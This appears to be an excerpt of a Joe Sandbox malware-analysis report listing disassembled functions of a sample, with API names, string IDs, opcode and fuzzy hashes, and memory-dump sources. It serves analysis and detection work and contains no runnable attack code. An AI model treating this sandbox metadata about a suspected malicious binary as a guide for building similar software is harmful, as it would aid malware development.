                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
                                                          • String ID: \*.*
                                                          • API String ID: 4047182710-1173974218
                                                          • Opcode ID: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                          • Instruction ID: d94cd2ba19908799c8b1ccc38ff15630855fca58fdf52e96752179da0b23be60
                                                          • Opcode Fuzzy Hash: 3e5e0e112cc80aa2c2516f057e4a01b659553512389772208b3739e74699da54
                                                          • Instruction Fuzzy Hash: DD816622A29E42D5EB11DB60E4511FD6BA0EFD6B94F401132EE4E876AAEF3CDD45C700
                                                          Function 00007FF6A53B2650 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155timeCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
                                                          • String ID: ?
                                                          • API String ID: 500310315-1684325040
                                                          • Opcode ID: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
                                                          • Instruction ID: 70a0b58187fe898b96f288d525d9b70d2f245c43e200c0cba0ad9a2aa8bf6f74
                                                          • Opcode Fuzzy Hash: 94c2f1c66049ff4599948a3e12081019eb49e95131d575ab39d1df6a0a8379ea
                                                          • Instruction Fuzzy Hash: AF619F32A29E4286E751EF21E8411A977A4FF86B94F454235FA0DC3696EF3CEC41C740
                                                          Function 00007FF6A5408360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: NULL Pointer assignment$Not an Object type
                                                          • API String ID: 0-572801152
                                                          • Opcode ID: 4ab9c3212860d8adb67b4643888885f6fb66013b87228f696311c510e3b65074
                                                          • Instruction ID: 7fc0b55dd451156c93712bef73ade07aca416e48752dbcb0a3e92333c705ea7e
                                                          • Opcode Fuzzy Hash: 4ab9c3212860d8adb67b4643888885f6fb66013b87228f696311c510e3b65074
                                                          • Instruction Fuzzy Hash: E5E1E232A09B8296EB10CF65E5402AD77A0FB95F98F504136DE4D97B94EF3CE949C700
                                                          Function 00007FF6A53E8E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessagePost$KeyboardState$Parent
                                                          • String ID:
                                                          • API String ID: 87235514-0
                                                          • Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
                                                          • Instruction ID: 515d6b8e149d3422ff52be0d1aad7b55c84d1418dfdcf3df7d5b16625b6408e0
                                                          • Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
                                                          • Instruction Fuzzy Hash: 6C51BF52E2E6D165FB62C77161006BD6FE1EBC7FC0F4880B4DE894BE46DE58AC548321
                                                          Function 00007FF6A53AAF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                          • String ID:
                                                          • API String ID: 1239891234-0
                                                          • Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                          • Instruction ID: dad924f96b96cb83cab29c495cfdb84c0010fe3c68ba119d3149c92c3df97d77
                                                          • Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                          • Instruction Fuzzy Hash: 28316036619F8186DB60CF25E8502EE73A4FB89B54F500135EA9D87B59EF3CC9458B00
                                                          Function 00007FF6A53FA874 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118filesleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState
                                                          • String ID: *.*
                                                          • API String ID: 1927845040-438819550
                                                          • Opcode ID: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
                                                          • Instruction ID: 13636710d8478aa02b89c12c2c7b29808bd57e27fb204fe1ab0aa17fc16eeca7
                                                          • Opcode Fuzzy Hash: 6a88b2503df8e5f85dd4c462440c0fc5a039f53792e222b5ac7c7da246e49fe0
                                                          • Instruction Fuzzy Hash: 19517122A1AE8695EB10DB25E4442BD6770FB86B94F500132DE5D87799EF3CED49C700
                                                          Function 00007FF6A537BE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
                                                          • API String ID: 0-2187161917
                                                          • Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
                                                          • Instruction ID: 419a973506cc1e4fd801879971688aba54c9f2382f7884e2431b296b51b1f1a9
                                                          • Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
                                                          • Instruction Fuzzy Hash: BFB2B172E2AE95CAEB64DF6594402BC37A1FB86B88F115035DE49D7A85EF38ED40C700
                                                          Function 00007FF6A53B2D20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A53B2D60
                                                            • Part of subcall function 00007FF6A53AB184: GetCurrentProcess.KERNEL32(00007FF6A53AB21D), ref: 00007FF6A53AB1B1
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CurrentProcess_invalid_parameter_noinfo
                                                          • String ID: *$.$.
                                                          • API String ID: 2518042432-2112782162
                                                          • Opcode ID: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
                                                          • Instruction ID: b692d7dca6b0e2096585519174cec21988d0213e82dc7434d385bb4c11b29618
                                                          • Opcode Fuzzy Hash: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
                                                          • Instruction Fuzzy Hash: 1751D462F22E5584FF10DBA698101BD63A4BB85FC8F558635EF1D97B85EE3DD8428300
                                                          Function 00007FF6A53A84C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _get_daylight$_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 1286766494-0
                                                          • Opcode ID: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
                                                          • Instruction ID: 851f6975ad04ce85bd1628e783e5763f1dff50727bdb2d17cfb12bfbc92c04c9
                                                          • Opcode Fuzzy Hash: ff66785d1f33ad73d5007bcee94c477568ce16377581ab8ae86a17e1b75de420
                                                          • Instruction Fuzzy Hash: B1A2C073A2AA4286EB25CF24D4501BDB7A5FB86F88F144135DB4D87A98EF7EDC118700
                                                          Function 00007FF6A53ED750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
                                                          • String ID: SeShutdownPrivilege
                                                          • API String ID: 2163645468-3733053543
                                                          • Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                          • Instruction ID: cc39922662233d8a71da4fd674cbfeebbdad55aeea437ee2505b185daa5e74e6
                                                          • Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                          • Instruction Fuzzy Hash: 7B119132B29A4682E724CF25A84117E62E2FFC6F50F494539E94DC7A99EF3CDC058780
                                                          Function 00007FF6A540AF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6A53D2DD1), ref: 00007FF6A540AF37
                                                          • GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6A53D2DD1), ref: 00007FF6A540AF4F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                          • API String ID: 2574300362-1816364905
                                                          • Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                          • Instruction ID: 44c94796f2e656422f7cc2eced2ba41dcc4d0734b074c6ebd75c1214f19bc486
                                                          • Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
                                                          • Instruction Fuzzy Hash: EDF01C61A16B02D2EF09DB21E45436823E4FB19F09F940435CA1DC6364EFBCDD68C344
                                                          Function 00007FF6A5382E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Init_thread_footer
                                                          • String ID: Variable must be of type 'Object'.
                                                          • API String ID: 1385522511-109567571
                                                          • Opcode ID: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
                                                          • Instruction ID: 1cb049ea1998b10f577d7f82d82812efd65a5a9ab1cf8055c70541a3b0f80808
                                                          • Opcode Fuzzy Hash: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
                                                          • Instruction Fuzzy Hash: 07C28E32A2AE8286EB64CF15E4502B963A1FB86F84F544131DA4EC77A5EF3CEC45C741
                                                          Function 00007FF6A5406320 Relevance: 6.3, APIs: 4, Instructions: 255COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit$CopyCreateInitializeInstanceUninitialize
                                                          • String ID:
                                                          • API String ID: 2733932498-0
                                                          • Opcode ID: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
                                                          • Instruction ID: cf5647dafd7c623fe023bc3f2f5e6eaa073fea203078b13fb7c6bfcae3d91382
                                                          • Opcode Fuzzy Hash: a09277b6a6935f26de9d5b61002aef5de2559b3d5eb22cd3cc7460a06f749bcb
                                                          • Instruction Fuzzy Hash: A3B1AB26B16B5681EB10DF26D4906AD27A0FB9AFD4F159432DE0E8B796DF3CE840C300
                                                          Function 00007FF6A540EB34 Relevance: 6.2, APIs: 4, Instructions: 156processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32
                                                          • String ID:
                                                          • API String ID: 2000298826-0
                                                          • Opcode ID: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
                                                          • Instruction ID: 4eff799444d7344fe7ad34bad63b9119a1ddd5ba41ea98af7dae85dc2280f52c
                                                          • Opcode Fuzzy Hash: 5b1cc7803f552fdfb6a5c1b64286c224a353268d24a72ba4bd1cd77bb81f450c
                                                          • Instruction Fuzzy Hash: 1A715F36A29B4186EB00EB21E4443AE77A0FB89F98F504136EA4D87769DF7CD945C740
                                                          Function 00007FF6A53902C4 Relevance: 5.7, Strings: 2, Instructions: 3180COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: DEFINE$x
                                                          • API String ID: 0-4035502692
                                                          • Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
                                                          • Instruction ID: a370b2e91dd522c7cd6776d435c866be8db63e9a86cf198dd9e349529a9c4e7c
                                                          • Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
                                                          • Instruction Fuzzy Hash: 87537B73A2AA528AEB60CF65C4406BC37B1FB95B88F518436DE4997784EF39ED41C700
                                                          Function 00007FF6A5390E90 Relevance: 4.9, Strings: 3, Instructions: 1176COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $[$\
                                                          • API String ID: 0-3681541464
                                                          • Opcode ID: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
                                                          • Instruction ID: 9c15cf9aa526179ed4e8548c7b1abac5b288d057fb106cb7ce0ad66287d451ab
                                                          • Opcode Fuzzy Hash: f7681cbd2ea07fa149fa3418819e144fbe1fe0a990a0ed3c69471eaae0dbb131
                                                          • Instruction Fuzzy Hash: 1CB27E73B2AA528AEB64CFA584406BC37B1FB86B48F514535CA0D97B84EF39ED41C740
                                                          Function 00007FF6A53A1750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: memcpy_s
                                                          • String ID:
                                                          • API String ID: 1502251526-0
                                                          • Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                          • Instruction ID: a0ec74bcef819a1e6742bbb676fc172d8dbdec6b8c63a5d64a21a150393f3507
                                                          • Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
                                                          • Instruction Fuzzy Hash: 89D1A332B2968687DB74CF15E18466AB6A1FBD9B84F148134CB4A97B44EF3DED41CB00
                                                          Function 00007FF6A53F6428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNext
                                                          • String ID:
                                                          • API String ID: 3541575487-0
                                                          • Opcode ID: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
                                                          • Instruction ID: 71d4c8569ccb3caf78752cfd2eaa06c5f4205a1bb20c699f701d3accdb2a8470
                                                          • Opcode Fuzzy Hash: 8095db4ae0d7967ea6bb3d0986d3fec5b3e30099e78eeea076049f78ea6c2b13
